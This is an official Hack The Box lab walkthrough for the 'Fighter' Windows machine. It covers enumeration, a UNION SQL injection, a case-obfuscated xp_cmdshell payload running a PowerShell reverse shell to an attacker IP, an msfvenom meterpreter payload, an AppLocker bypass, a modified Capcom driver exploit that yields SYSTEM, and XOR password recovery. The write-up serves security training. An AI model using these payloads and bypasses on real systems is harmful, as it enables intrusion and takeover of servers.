




Hack The Box
PEN-TESTING LABS



Fighter

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Difficulty: Insane

Classification: Official



SYNOPSIS

Fighter is a very challenging machine, that requires good web and post-exploitation enumeration. It highlights the fragility of blacklists and showcases techniques that are useful from both offensive and defensive standpoints.

Skills Required

- Intermediate knowledge of Web application enumeration techniques
- Intermediate knowledge of SQL injection techniques
- Intermediate knowledge of Windows
- Intermediate knowledge of disassembly

Skills Learned

- Advanced SQL injection technique and blacklist bypassing
- AppLocker bypassing
- Command-line obfuscation
- Exploit selection and modification
- Post-exploitation enumeration
- Reverse engineering



Enumeration

Nmap

```
masscan -p1-65535 10.10.10.72 --rate=1000 -e tun0 > ports
```


```
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,,$//')
```

```
Nmap -Pn -sV -sC -p$ports 10.10.10.72
```

```
root@kali:~/hackthebox/fighter# nmap -Pn -sV -sC -p$ports 10.10.10.72
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-29 19:12 EDT
Nmap scan report for 10.10.10.72
Host is up (0.13s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http      Microsoft IIS httpd 8.5
|_ http-methods:
|_   Potentially risky methods: TRACE
|_ http-server-header: Microsoft-IIS/8.5
|_ http-title: StreetFighter Club
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

Nmap reveals an IIS 8.5 installation, which is only available on Windows Server 2012 R2.





Wfuzz

streetfighterclub.htb is referred to, and this is added to /etc/hosts. A member's site is also referred to but dirbusting this hostname using either a cewl generated list of words from the website, or other popular wordlists is unsuccessful.

Possibly it has been configured as a subdomain. In order to test this we can add the words from the cewl generated wordlist into /etc/hosts. Issuing "wc -l" on the wordlist returns that there are 254 entries. The contents of the wordlist are copied with the command "xclip -sel c < words", and pasted into /etc/hosts. With the cursor at the beginning of the first word, the following vim macro can be used to format the remaining 253 entries appropriately.

```
qri10.10.10.72<tab><end>.streetfighterclub.htb<down arrow><home><esc>q253@r
```

Subdomain enumeration can be performed using Wfuzz.

```
wfuzz -c -z file,words --hc 404 -Z http://FUZZ.streetfighterclub.htb
```

```
000026: C=200 190 L 717 W 6911 Ch "site"
000197: C=200 190 L 717 W 6911 Ch "Chapa"
000027: C=403 29 L 92 W 1233 Ch "members"
000028: C=200 190 L 717 W 6911 Ch "you"
000029: C=200 190 L 717 W 6911 Ch "Chun"
000030: C=200 190 L 717 W 6911 Ch "video"
000031: C=200 190 L 717 W 6911 Ch "will"
000032: C=200 190 L 717 W 6911 Ch "released"
000033: C=200 190 L 717 W 6911 Ch "PlayStation"
000035: C=200 190 L 717 W 6911 Ch "characters"
000039: C=200 190 L 717 W 6911 Ch "Online"
```

This reveals that "members" is a valid subdomain, although as it is not directly accessible, it seems an additional directory or file must be required.



Gobuster

Using Gobuster to enumerate further, the members area is quickly found.

```
go run /opt/gobuster/main.go -u http://members.streetfighterclub.htb -w  
/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -s '200,204,301,302,307,403,500' -x  
.htm,.html,.aspx,.asp
```

```
go run /opt/gobuster/main.go -u http://members.streetfighterclub.htb/old/ -w  
/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -s '200,204,301,302,307,403,500' -x  
.htm,.html,.aspx,.asp
```

```
root@kali:~# go run /opt/gobuster/main.go -u http://members.streetfighterclub.htb/old/ -w /usr/share/dirbuster  
x .htm,.html,.aspx,.asp  
=====
```

Gobuster v2.0.1	OJ Reeves (@TheColonial)
=====	
[+] Mode	: dir
[+] Url/Domain	: http://members.streetfighterclub.htb/old/
[+] Threads	: 10
[+] Wordlist	: /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
[+] Status codes	: 200,204,301,302,307,403,500
[+] Extensions	: htm,html,aspx,asp
[+] Timeout	: 10s
=====	
2018/10/31 12:09:55 Starting gobuster	
=====	
/login.asp (Status: 200)	

Welcome to the Members Area!

Username	<input type="text"/>
Password	<input type="password"/>
Login Type	<input type="text" value="User"/> ▼
<input type="checkbox"/> Remember Me	
<input type="button" value="Login"/>	



Exploitation

Burp Suite / SQL injection

Manipulation of the login request in Burp Repeater reveals that the “logintype” parameter is vulnerable to SQL injection. The “ORDER BY” statement is incremented, which result in a 302 HTTP status code until “ORDER BY 7”, which confirms that there are 6 columns.

Request

Raw	Params	Headers	Hex
<pre>POST /old/verify.asp HTTP/1.1 Host: members.streetfighterclub.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://members.streetfighterclub.htb/old/Login.asp Cookie: ASPSESSIONIDACBCCSAC=PGANNGOAAFMMFDCBJDIMEGA; ASPSESSIONIDCCCAAQDD=HNBNCDBBEOGBDIKDCKHBFJD; Email=; Level=%2D1; Chk=8067; password=dGVzdA%3D%3D; username=dGVzdA%3D%3D Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 73 username=test&password=test&logintype=1+order+by+7&rememberme=ON&B1=LogIn</pre>			



After iterating through the column numbers with USER_NAME() as the payload, and examining the HTTP response, it seems the information can be extracted by inputting the query in column 5. After URL and base64 decoding the “Set-Cookie: Email” value, the response to the query is visible. A response of “1” to “IS_SRVROLEMEMBER(‘sysadmin’)” confirms that the account has been granted sysadmin privileges.

Request

Raw Params Headers Hex

```
POST /old/verify.asp HTTP/1.1
Host: members.streetfighterclub.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://members.streetfighterclub.htb/old/Login.asp
Cookie: ASPSESSIONIDACBCCSAC=PGANNGOAAFMMFDCBJDIMEGA;
ASPSESSIONIDCCCAQDD=HNBNCDBBEBOGBDIKDCKHBFJD; Email=; Level=%2D1; Chk=8067;
password=dGVzdA%3D%3D; username=dGVzdA%3D%3D
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 115
```

```
username=test&password=test&logintype=1+union+select+1,2,3,4,IS_SRVROLEMEMBER('sysa
dmin'),6&rememberme=ON&B1=LogIn
```

Response

Raw Headers Hex HTML Render

```
HTTP/1.1 302 Object moved
Cache-Control: private
Content-Type: text/html
Location: welcome.asp
Server: Microsoft-IIS/8.5
Set-Cookie: Level=Ng%3D%3D; path=/
Set-Cookie: Email=MQ%3D%3D; path=/
Set-Cookie: Chk=8653; path=/
Set-Cookie: password=dGVzdA%3D%3D; expires=Thu, 31-Oct-2019 22:34:34 GMT; path=/
Set-Cookie: username=dGVzdA%3D%3D; expires=Thu, 31-Oct-2019 22:34:34 GMT; path=/
X-Powered-By: ASP.NET
Date: Wed, 31 Oct 2018 22:34:35 GMT
Connection: close
Content-Length: 132
```



Payload creation

After a lot of trial and error, and using the below article as inspiration, a payload is created to enable xp_cmdshell and execute a Nishang PowerShell reverse shell one-liner (**Appendix A**),.

<https://www.tarlogic.com/en/blog/red-team-tes-0x01/>

<https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1>

It is worth noting that:

- > and " characters need escaping
- xp_cmdshell needs obfuscating to bypass a simple blacklist
- The 32-bit version of PowerShell must be used

PowerShell is noted for its offensive capability and Microsoft have made later versions of the language very security transparent (e.g. Module and Script Block logging). However, organisations may also choose to block Powershell completely. The obvious Powershell binary to block is below, and on Fighter this is blocked by AppLocker policy.

```
C:\Users\Public\Downloads>where powershell.exe
where powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
```

However, it is possible to instantiate a PowerShell session using other native PowerShell executables and dlls (**Appendix B**), and these should be blocked as well if required.

Although not necessary for this exploitation, it is worth additionally obfuscating the payload. The example in Appendix A has a simple case-obfuscation applied, but for more sophisticated PowerShell obfuscation, Daniel Bohannon has created the “Invoke-Obfuscation” project.

<https://github.com/danielbohannon/Invoke-Obfuscation>

After executing the payload, a reverse shell is received as FIGHTER\sqlserv.



Post-Exploitation Enumeration

Identification of vulnerable driver

From both defensive and offensive perspectives, it is useful to see how a system has deviated from a vanilla installation or previous baseline in terms of installed services and drivers. The below commands can be used to enumerate services and drivers.

cmd /c sc query state= all type= all | findstr SERVICE_NAME
driverquery

```
SH3LL C:\Windows\System32> cmd /c sc query state= all type= all | findstr SERVICE_NAME
SERVICE_NAME: 1394ohci
SERVICE_NAME: 3ware
SERVICE_NAME: ACPI
SERVICE_NAME: acpiex
SERVICE_NAME: acpipagr
SERVICE_NAME: AcpiPmi
SERVICE_NAME: acpitime
SERVICE_NAME: ADP80XX
SERVICE_NAME: AeLookupSvc
SERVICE_NAME: AFD
SERVICE_NAME: agp440
```

As a previous baseline is not available, the server version is again confirmed, before standing up a Windows Server 2012 instance from the Microsoft Evaluation Center.

[environment]::OSVersion.Version

After diffing the output from both systems, a much smaller list of services is identified. Among the expected MSSQL and IIS services is the Capcom service/driver, which is known to be vulnerable.

```
root@kali:~# diff default_services.txt fighter-services.txt | grep SERVICE_NAME
> SERVICE_NAME: AppHostSvc
> SERVICE_NAME: aspnet_state
> SERVICE_NAME: Capcom
> SERVICE_NAME: Cbafilt
> SERVICE_NAME: clean
> SERVICE_NAME: Datascrn
> SERVICE_NAME: DiagTrack
> SERVICE_NAME: F1660
```



Upgrade PowerShell Shell

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.15 LPORT=80 -f psh
```

```
[System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("base64 encoded powershell reverse shell")) | iex
```

```
root@kali:~# nc -lvp 443
listening on [any] 443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.72] 49240

PS C:\Windows\system32> [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String(
MgZXh0ZXJueIudFB0ciBwXAJ0dWFSQWxsB2MoSW50UHRyIGxwQWRkcWVzcywgdWludCBkd1NpemUsIHVpbmQgZmxBbGxvY2F0a
RpYyBleHRlcm4gSW50UHRyIENyZWZ0ZVRocmVhZChbnRQdHIgbbHBUaHJlYWRBdHRYaWJ1dGVzLCB1aW50IGR3U3RhY2tTaXpLL
MSEludFB0ciBscFRocmVhZELkTksIKiAKcIRTUgt3eGVBT1B1wncqPSBBZGQ0tVhLwZSAtbWVtYmVyRGVmaW5pdGlibiAkeGhnS
J5dGvbXV0gJHNUdENiVWt1FBWEggPSAweGZjLDB4ZTgsMHg4MiweDASMHgWLD84MCweDyWLDB40DksMhh1NSwweDMxLDB4Y
I4LDB4ZiweGI3LDB4NGESMHgYniwweDMxLDB4ZmYsMHHhYyweDNjLDB4NjEsMHg3YyweDIsmHgyYyweDIwLDB4YzEsMHHjZ
yweDhiLDB4NGMSMHgYMSwweDc4LDB4ZTMsMHg00CwweDESMHhKMSwweDUxLDB40GIsmHg10SweDIwLDB4MSwweGQzLDB40GIsm
B4YzEsMHHjZiweGQSMHgxLDB4ZcsMHgZ0CwweGUwLDB4NzUsMHHMniwweDMsMHg3ZCwweGY4LDB4M2IsMHg3ZCwweDI0LDB4N
gsMHgYyweDESMHhKMyweDhiLDB4NCweDhiLDB4MSwweGQwLDB40DksMHg0NCweDI0LDB4MjQsMHg1YiweDViLDB4NjEsM
weDY4LDB4MzMsMHgZMiweDASMHgWLD84NjgsMHg3NyweDczLDB4MzIsMHg1ZiweDU0LDB4NjgsMHg0YyweDczLDB4MjYsM
```

```
msf exploit(windows/local/payload_inject) > run

[*] Started reverse TCP handler on 10.10.14.15:443
[*] Running module against FIGHTER
[-] PID does not actually exist.
[*] Launching notepad.exe...
[*] Preparing 'windows/x64/meterpreter/reverse_tcp' for PID 1852
[*] Sending stage (206403 bytes) to 10.10.10.72
```



Capcom exploit

Running the Capcom exploit results in a failed architecture check even though the architecture is correct, so the `check_result` function is commented out.

```
def exploit
  if is_system?
    fail_with(Failure::None, 'Session is already elevated')
  end
=begin
  check_result = check
  if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
    fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
  end

  if sysinfo['Architecture'] == ARCH_X64
    if session.arch == ARCH_X86
      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported, please get an x64 session')
    end

    if target.arch.first == ARCH_X86
      fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
    end
  end
=end
  print status('Launching notepad to host the exploit...')
  notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
```

After issuing a “reload” command, the exploit is run again and a new Meterpreter session running as SYSTEM is received.

```
msf exploit(windows/local/capcom_sys_exec) > run

[*] Started reverse TCP handler on 10.10.14.15:443
[*] Launching notepad to host the exploit...
[+] Process 2784 launched.
[*] Reflectively injecting the exploit DLL into 2784...
[*] Injecting exploit into 2784...
[*] Exploit injected. Injecting payload into 2784...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (206403 bytes) to 10.10.10.72
[*] Meterpreter session 11 opened (10.10.14.15:443 -> 10.10.10.72:49290) at 2018-11-01 16:49:42 -0400


meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

The user.txt flag can now be obtained from the decoder user’s desktop.



Reversing root.exe

root.exe and check.dll can be downloaded and opened in Ida. After inspection it seems that XOR 9 is applied to each byte of the string Fm`fEhOl}h.



GCHQ CyberChef's XOR Brute Force can be used to recover the password OdioLaFeta.

The screenshot shows the GCHQ CyberChef XOR Brute Force tool interface. The 'Recipe' panel on the left is configured with 'XOR Brute Force', 'Key length' 1, 'Sample length' 100, 'Sample offset' 0, and 'Scheme' Standard. The 'Input' panel on the right contains the string 'Fm`fEhOl}h'. The 'Output' panel at the bottom displays the results of the brute force attack, showing the correct key '09: OdioLaFeta'.

Key	Value
07	AjgaBoHkzo
08	NehnM`Gdu`
09	OdioLaFeta
0a	Lgjl0bEfwb
0b	MfkmNcDgvc

After passing this to root.exe the root flag is returned.



Appendix A

```
logintype=1;EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH  
OVERRIDE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE WITH OVERRIDE;drop table  
fighter;create table fighter (out varchar(8000));insert into fighter (out) execute Xp_cMdsHeLL  
'C:\WIndOWs\sySwOw64\WINDOWspOweRshELl\v1.0\poWersHeLL.Exe "$cLIEnT = NEw-ObJect  
SYstEm.nEt.SOckEts.TcPclleNt(\"10.10.14.15\",443);$stReAm =  
$cLIEnT.GetsTrEam();[byte[]]$bYtEs = 0..65535|%{0};wHlle(($i = $stReAm.Read($bYtEs, 0,  
$bYtEs.LEnGth)) -ne 0);$dAta = (NEW-oBJecT -TypeNAME  
SYsTem.tExt.ASCLiENcoDing).GEtstRInG($bYtEs,0, $i);$sEndback = (iEX $data 2>&1 | OUT-stRing  
);$Sendback2 = $sEndback + \"sH3IL \" + (pWd).PAth + \"^> \";$senDbyte =  
([texT.eNCodIng]::AScli).GEtByTes($Sendback2);$stReAm.WRite($senDbyte,0,$senDbyte.Lengt  
h);$stReAm.FLuSh());$cLIEnT.CloSe()";
```

SQLi with case-obfuscated PowerShell reverse shell



Appendix B

```
C:\>dir /B /S powershell.exe /S system.management.automation.dll

C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\WinSxS\amd64_microsoft-windows-powershell-exe_31bf3856ad364e35_10.0.14393.0_none_968a6a2f18e547eb\powershell.exe
C:\Windows\WinSxS\msil_system.management.automation_31bf3856ad364e35_1.0.0.0_none_6340379543bd8a03\System.Management.Automation.dll
C:\Windows\WinSxS\msil_system.management.automation_31bf3856ad364e35_10.0.14393.0_none_f2bad6783ea6eb6a\System.Management.Automation.dll
C:\Windows\WinSxS\wow64_microsoft-windows-powershell-exe_31bf3856ad364e35_10.0.14393.0_none_a0df14814d4609e6\powershell.exe
```

PowerShell: associated binaries and dlls